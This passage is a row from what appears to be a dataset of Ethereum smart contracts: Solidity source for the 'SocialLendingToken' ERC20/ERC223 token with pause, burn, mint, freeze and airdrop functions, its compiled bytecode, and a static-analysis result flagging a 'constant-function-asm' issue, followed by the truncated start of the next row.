allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Standard ERC223 token
*/
contract Standard223Token is ERC223, StandardToken {
//function that is called when a user or another contract wants to transfer funds
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
//filtering if the target is a contract with bytecode inside it
require(super.transfer(_to, _value));
// do a normal token transfer
if (isContract(_to)) return contractFallback(msg.sender, _to, _value, _data);
return true;
}
function transferFrom(address _from, address _to, uint _value, bytes _data) public returns (bool success) {
require(super.transferFrom(_from, _to, _value));
// do a normal token transfer
if (isContract(_to)) return contractFallback(_from, _to, _value, _data);
return true;
}
//function that is called when transaction target is a contract
function contractFallback(address _from, address _to, uint _value, bytes _data) private returns (bool success) {
ERC223Receiver receiver = ERC223Receiver(_to);
return receiver.tokenFallback(_from, _value, _data);
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) internal view returns (bool is_contract) {
// retrieve the size of the code on target address, this needs assembly
uint length;
assembly {length := extcodesize(_addr)}
return length > 0;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken, Ownable {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is Standard223Token, Ownable {
event Mint(address indexed to, uint256 amount);
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner public returns (bool) {
require(!isContract(_to));
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
}
/**
* @title Frozen token
* @dev Simple ERC20 Token example, with freeze token of one account
*/
contract FrozenToken is Ownable {
mapping(address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function freezeAccount(address target, bool freeze) public onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
modifier requireNotFrozen(address from){
require(!frozenAccount[from]);
_;
}
}
contract ERC223Receiver {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool ok);
}
/**
* ERC20 token
* SLT
*/
contract SocialLendingToken is Pausable, BurnableToken, MintableToken, FrozenToken {
string public name;
string public symbol;
uint public decimals;
function SocialLendingToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
totalSupply_ = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[msg.sender] = _initialSupply;
Transfer(0x0, msg.sender, _initialSupply);
}
function transfer(address _to, uint _value) public whenNotPaused requireNotFrozen(msg.sender) requireNotFrozen(_to) returns (bool) {
return transfer(_to, _value, new bytes(0));
}
function transferFrom(address _from, address _to, uint _value) public whenNotPaused requireNotFrozen(msg.sender) requireNotFrozen(_from) requireNotFrozen(_to) returns (bool) {
return transferFrom(_from, _to, _value, new bytes(0));
}
function approve(address _spender, uint _value) public whenNotPaused requireNotFrozen(msg.sender) requireNotFrozen(_spender) returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused requireNotFrozen(msg.sender) requireNotFrozen(_spender) returns (bool) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused requireNotFrozen(msg.sender) requireNotFrozen(_spender) returns (bool) {
return super.decreaseApproval(_spender, _subtractedValue);
}
////ERC223
function transfer(address _to, uint _value, bytes _data) public whenNotPaused requireNotFrozen(msg.sender) requireNotFrozen(_to) returns (bool success) {
return super.transfer(_to, _value, _data);
}
function transferFrom(address _from, address _to, uint _value, bytes _data) public whenNotPaused requireNotFrozen(msg.sender) requireNotFrozen(_from) requireNotFrozen(_to) returns (bool success) {
return super.transferFrom(_from, _to, _value, _data);
}
event Airdrop(address indexed from, uint addressCount, uint totalAmount);
event AirdropDiff(address indexed from, uint addressCount, uint totalAmount);
/**
* @dev airdrop token to address list, each address distributes the same number of token
*
* @param _addresses address list to distributes
* @param _value Amount of tokens.
*/
function airdrop(uint _value,address[] _addresses) public whenNotPaused onlyOwner returns (bool success){
uint addressCount = _addresses.length;
require(addressCount > 0 && addressCount <= 1000);
uint totalAmount = _value.mul(addressCount);
require(_value > 0 && balances[msg.sender] >= totalAmount);
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
for(uint i=0; i<addressCount; i++){
require(_addresses[i] != address(0));
balances[_addresses[i]] = balances[_addresses[i]].add(_value);
Transfer(msg.sender, _addresses[i], _value);
}
Airdrop(msg.sender,addressCount,totalAmount);
return true;
}
function airdropDiff(uint[] _values,address[] _addresses) public whenNotPaused onlyOwner returns (bool success){
uint addressCount = _addresses.length;
require(addressCount == _values.length);
require(addressCount > 0 && addressCount <= 1000);
uint totalAmount = 0;
for(uint i=0; i<addressCount; i++){
require(_values[i] > 0 );
totalAmount = totalAmount.add(_values[i]);
}
require(balances[msg.sender] >= totalAmount);
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
for(uint j=0; j<addressCount; j++){
require(_addresses[j] != address(0));
balances[_addresses[j]] = balances[_addresses[j]].add(_values[j]);
Transfer(msg.sender, _addresses[j], _values[j]);
}
AirdropDiff(msg.sender,addressCount,totalAmount);
return true;
}
} | 0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610143578063095ea7b3146101d157806318160ddd1461022b57806323b872dd14610254578063313ce567146102cd5780633f4ba83a146102f657806340c10f191461030b57806342966c68146103655780635c975abb1461038857806366188463146103b557806370a082311461040f5780638456cb591461045c5780638da5cb5b1461047157806395d89b41146104c6578063a9059cbb14610554578063ab3dd698146105ae578063ab67aa5814610660578063b414d4b61461071c578063bdf7a8e61461076d578063be45fd62146107e8578063d73dd62314610885578063dd62ed3e146108df578063e724529c1461094b578063f2fde38b1461098f575b600080fd5b341561014e57600080fd5b6101566109c8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019657808201518184015260208101905061017b565b50505050905090810190601f1680156101c35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101dc57600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a66565b604051808215151515815260200191505060405180910390f35b341561023657600080fd5b61023e610b4c565b6040518082815260200191505060405180910390f35b341561025f57600080fd5b6102b3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b56565b604051808215151515815260200191505060405180910390f35b34156102d857600080fd5b6102e0610cbd565b6040518082815260200191505060405180910390f35b341561030157600080fd5b610309610cc3565b005b341561031657600080fd5b61034b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d83565b604051808215151515815260200191505060405180910390f35b341561037057600080fd5b6103866004808035906020019091905050610f62565b005b341561039357600080fd5b61039b611110565b604051808215151515815260200191505060405180910390f35b34156103c057600080fd5b6103f5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611123565b604051808215151515815260200191505060405180910390f35b341561041a57600080fd5b610446600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611209565b6040518082815260200191505060405180910390f35b341561046757600080fd5b61046f611251565b005b341561047c57600080fd5b610484611312565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104d157600080fd5b6104d9611338565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105195780820151818401526020810190506104fe565b50505050905090810190601f1680156105465780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561055f57600080fd5b610594600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506113d6565b604051808215151515815260200191505060405180910390f35b34156105b957600080fd5b610646600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506114e0565b604051808215151515815260200191505060405180910390f35b341561066b57600080fd5b610702600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061191c565b604051808215151515815260200191505060405180910390f35b341561072757600080fd5b610753600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a61565b604051808215151515815260200191505060405180910390f35b341561077857600080fd5b6107ce600480803590602001909190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611a81565b604051808215151515815260200191505060405180910390f35b34156107f357600080fd5b61086b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611e2e565b604051808215151515815260200191505060405180910390f35b341561089057600080fd5b6108c5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611f16565b604051808215151515815260200191505060405180910390f35b34156108ea57600080fd5b610935600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ffc565b6040518082815260200191505060405180910390f35b341561095657600080fd5b61098d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050612083565b005b341561099a57600080fd5b6109c6600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506121a9565b005b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a5e5780601f10610a3357610100808354040283529160200191610a5e565b820191906000526020600020905b815481529060010190602001808311610a4157829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610a8457600080fd5b33600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610ade57600080fd5b83600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610b3857600080fd5b610b428585612301565b9250505092915050565b6000600154905090565b6000600360149054906101000a900460ff16151515610b7457600080fd5b33600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610bce57600080fd5b84600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610c2857600080fd5b84600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610c8257600080fd5b610cb18787876000604051805910610c975750595b9080825280601f01601f191660200182016040525061191c565b93505050509392505050565b60075481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d1f57600080fd5b600360149054906101000a900460ff161515610d3a57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610de157600080fd5b610dea836123f3565b151515610df657600080fd5b610e0b8260015461240690919063ffffffff16565b600181905550610e62826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fc057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561100d57600080fd5b339050611061826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242490919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110b88260015461242490919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff1615151561114157600080fd5b33600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561119b57600080fd5b83600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156111f557600080fd5b6111ff858561243d565b9250505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112ad57600080fd5b600360149054906101000a900460ff161515156112c957600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113ce5780601f106113a3576101008083540402835291602001916113ce565b820191906000526020600020905b8154815290600101906020018083116113b157829003601f168201915b505050505081565b6000600360149054906101000a900460ff161515156113f457600080fd5b33600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561144e57600080fd5b83600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156114a857600080fd5b6114d6858560006040518059106114bc5750595b9080825280601f01601f1916602001820160405250611e2e565b9250505092915050565b6000806000806000600360149054906101000a900460ff1615151561150457600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561156057600080fd5b8551935086518414151561157357600080fd5b60008411801561158557506103e88411155b151561159057600080fd5b60009250600091505b8382101561160057600087838151811015156115b157fe5b906020019060200201511115156115c757600080fd5b6115f187838151811015156115d857fe5b906020019060200201518461240690919063ffffffff16565b92508180600101925050611599565b826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561164d57600080fd5b61169e836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600090505b838110156118b857600073ffffffffffffffffffffffffffffffffffffffff16868281518110151561171357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff161415151561174057600080fd5b6117bf878281518110151561175157fe5b90602001906020020151600080898581518110151561176c57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b60008088848151811015156117d057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550858181518110151561182657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef898481518110151561188c57fe5b906020019060200201516040518082815260200191505060405180910390a380806001019150506116e5565b3373ffffffffffffffffffffffffffffffffffffffff167fa079d295e9e07656b6159a388757f3b45c83649d3e14bb1e5e52f558393606738585604051808381526020018281526020019250505060405180910390a2600194505050505092915050565b6000600360149054906101000a900460ff1615151561193a57600080fd5b33600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561199457600080fd5b85600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156119ee57600080fd5b85600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611a4857600080fd5b611a54888888886126ce565b9350505050949350505050565b60046020528060005260406000206000915054906101000a900460ff1681565b600080600080600360149054906101000a900460ff16151515611aa357600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611aff57600080fd5b84519250600083118015611b1557506103e88311155b1515611b2057600080fd5b611b33838761271490919063ffffffff16565b9150600086118015611b835750816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b1515611b8e57600080fd5b611bdf826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600090505b82811015611dcb57600073ffffffffffffffffffffffffffffffffffffffff168582815181101515611c5457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515611c8157600080fd5b611ce9866000808885815181101515611c9657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b6000808784815181101515611cfa57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508481815181101515611d5057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a38080600101915050611c26565b3373ffffffffffffffffffffffffffffffffffffffff167fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d2728484604051808381526020018281526020019250505060405180910390a26001935050505092915050565b6000600360149054906101000a900460ff16151515611e4c57600080fd5b33600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611ea657600080fd5b84600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611f0057600080fd5b611f0b86868661274f565b925050509392505050565b6000600360149054906101000a900460ff16151515611f3457600080fd5b33600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611f8e57600080fd5b83600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611fe857600080fd5b611ff28585612793565b9250505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120df57600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561220557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561224157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600080823b905060008111915050919050565b600080828401905083811015151561241a57fe5b8091505092915050565b600082821115151561243257fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561254e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125e2565b612561838261242490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60006126db85858561298f565b15156126e657600080fd5b6126ef846123f3565b156127075761270085858585612d49565b905061270c565b600190505b949350505050565b60008060008414156127295760009150612748565b828402905082848281151561273a57fe5b0414151561274457fe5b8091505b5092915050565b600061275b8484612e80565b151561276657600080fd5b61276f846123f3565b156127875761278033858585612d49565b905061278c565b600190505b9392505050565b600061282482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156129cc57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612a1957600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612aa457600080fd5b612af5826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242490919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b88826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c5982600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000808490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a8786866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612e11578082015181840152602081019050612df6565b50505050905090810190601f168015612e3e5780820380516001836020036101000a031916815260200191505b50945050505050602060405180830381600087803b1515612e5e57600080fd5b5af11515612e6b57600080fd5b50505060405180519050915050949350505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612ebd57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612f0a57600080fd5b612f5b826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fee826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820f2d2e84284cdfc49490d0da61b8e57bd1147e3833c261b719e495adc456d618f0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}} | 1,401 |
0xd71034459f83bce1d63b7897d8986485356a138a | pragma solidity ^0.4.10;
// Library used for performing arithmetic operations
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
